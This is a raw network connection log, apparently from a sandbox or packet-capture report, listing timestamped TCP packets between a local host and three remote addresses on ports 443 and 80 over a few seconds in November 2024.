Nov 23, 2024 17:46:03.046169996 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.046169996 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.046206951 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.046230078 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.049000025 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.049029112 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.049220085 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.049433947 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.049443960 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.051861048 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.054280043 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.054333925 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.054390907 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.054404020 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.054419994 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.054425001 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.056638002 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.056684971 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.056840897 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.056977987 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.056992054 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.507253885 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.510562897 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.510684013 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.510752916 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.511256933 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:03.511333942 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.511354923 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.511395931 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.511403084 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.513765097 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.513861895 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.513967037 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.514111042 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.514132023 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.619815111 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.620256901 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.620353937 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.621031046 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:03.621045113 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.632782936 CET	80	49898	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:03.632996082 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:03.633179903 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:03.753149033 CET	80	49898	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:04.072618961 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.072758913 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.072890043 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.072964907 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.072964907 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.073004961 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.073033094 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.075536966 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.075591087 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.075680017 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.075825930 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.075844049 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.503361940 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.507999897 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.508037090 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.508441925 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.508450031 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.938636065 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.942692041 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.942735910 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.942925930 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.942926884 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.943325043 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.943348885 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.945437908 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.945451021 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.945456982 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.945544004 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.945678949 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.945691109 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.945883989 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.945909977 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.946293116 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.946296930 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.959356070 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.963670015 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.963736057 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.964121103 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:04.964134932 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:04.988301992 CET	80	49898	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:04.988383055 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:05.332874060 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.333584070 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.333622932 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.334191084 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.334197044 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.389422894 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.392436981 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.392592907 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.392764091 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.392774105 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.392802000 CET	49896	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.392806053 CET	443	49896	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.395930052 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.395972967 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.396068096 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.396234989 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.396274090 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.405602932 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.408711910 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.408790112 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.408863068 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.408899069 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.408927917 CET	49897	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.408943892 CET	443	49897	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.411329985 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.411381006 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.411452055 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.411570072 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.411583900 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.776144028 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.779195070 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.779277086 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.779362917 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.779362917 CET	49899	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.779395103 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.779417992 CET	443	49899	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.781990051 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.782027960 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.782191992 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.782335043 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.782347918 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.933481932 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.934217930 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.934299946 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:05.934691906 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:05.934727907 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.422377110 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.422401905 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.422451973 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.422497034 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.422549009 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.422739029 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.422770977 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.422790051 CET	49900	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.422799110 CET	443	49900	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.425498009 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.425537109 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.425614119 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.425782919 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.425797939 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.502629042 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:06.502780914 CET	49906	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:06.628943920 CET	80	49906	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:06.629025936 CET	49906	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:06.629194975 CET	49906	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:06.629257917 CET	80	49898	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:06.629317999 CET	49898	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:06.755326986 CET	80	49906	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:06.800909042 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.801412106 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.801445961 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:06.801884890 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:06.801892042 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.208671093 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.209287882 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.209304094 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.209783077 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.209789038 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.226397038 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.226820946 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.226854086 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.227205038 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.227215052 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.262804985 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.266072989 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.266160011 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.266233921 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.266251087 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.266266108 CET	49901	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.266271114 CET	443	49901	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.269030094 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.269061089 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.269159079 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.269319057 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.269331932 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.620277882 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.620857954 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.620902061 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.621335030 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.621347904 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.642364025 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.646260023 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.646316051 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.646368980 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.646389008 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.646404028 CET	49903	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.646409988 CET	443	49903	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.649262905 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.649287939 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.649354935 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.649570942 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.649583101 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.670167923 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.673543930 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.673588991 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.673636913 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.673672915 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.673701048 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.673722029 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.673738003 CET	49902	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.673744917 CET	443	49902	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.676497936 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.676522017 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:07.676609039 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.676762104 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:07.676778078 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.039983034 CET	80	49906	185.215.113.43	192.168.2.4
Nov 23, 2024 17:46:08.040066004 CET	49906	80	192.168.2.4	185.215.113.43
Nov 23, 2024 17:46:08.044301987 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:08.063824892 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.066956043 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.067009926 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.067080975 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.067092896 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.067106009 CET	49904	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.067111015 CET	443	49904	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.069984913 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.070081949 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.070171118 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.070302010 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.070322037 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.163953066 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:08.164067030 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:08.164278030 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:08.224318027 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.224910975 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.224935055 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.225399017 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.225404978 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.283921957 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:08.667963028 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.671155930 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.671214104 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.671818972 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.671833992 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.671844959 CET	49905	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.671849012 CET	443	49905	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.689106941 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.689157009 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.689218998 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.689774990 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.689795017 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.990696907 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.993927956 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.993951082 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:08.994400024 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:08.994404078 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.426074982 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.429079056 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.429178953 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.429449081 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.429466963 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.429476976 CET	49907	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.429481030 CET	443	49907	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.432544947 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.432576895 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.432725906 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.432848930 CET	49913	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.432859898 CET	443	49913	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.457890987 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.461914062 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.461946964 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.462511063 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.462527990 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.494966030 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.497967958 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.497996092 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.498406887 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.498410940 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.557852983 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.557939053 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.557955027 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.557970047 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.557984114 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558034897 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.558088064 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.558101892 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558114052 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558128119 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558142900 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558144093 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.558157921 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.558171034 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.558197975 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.681030989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.681085110 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.681303024 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.685163021 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.685518980 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.759037018 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.759071112 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.759147882 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.763231039 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.763355970 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.763473988 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.763489962 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.771648884 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.771761894 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.771836996 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.779992104 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.780101061 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.780160904 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.788347006 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.788419962 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.788491964 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.805718899 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.805855036 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.805910110 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.805941105 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.805959940 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.806006908 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.813545942 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.813720942 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.813808918 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.821852922 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.822058916 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.822139025 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.830327034 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.830379963 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.830414057 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.830451012 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.838697910 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.838752985 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.838773966 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.838823080 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.885484934 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.885555983 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.885632992 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.885780096 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.907766104 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.910872936 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.911386967 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.911458015 CET	49909	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.911484003 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.911501884 CET	49909	443	192.168.2.4	13.107.246.63
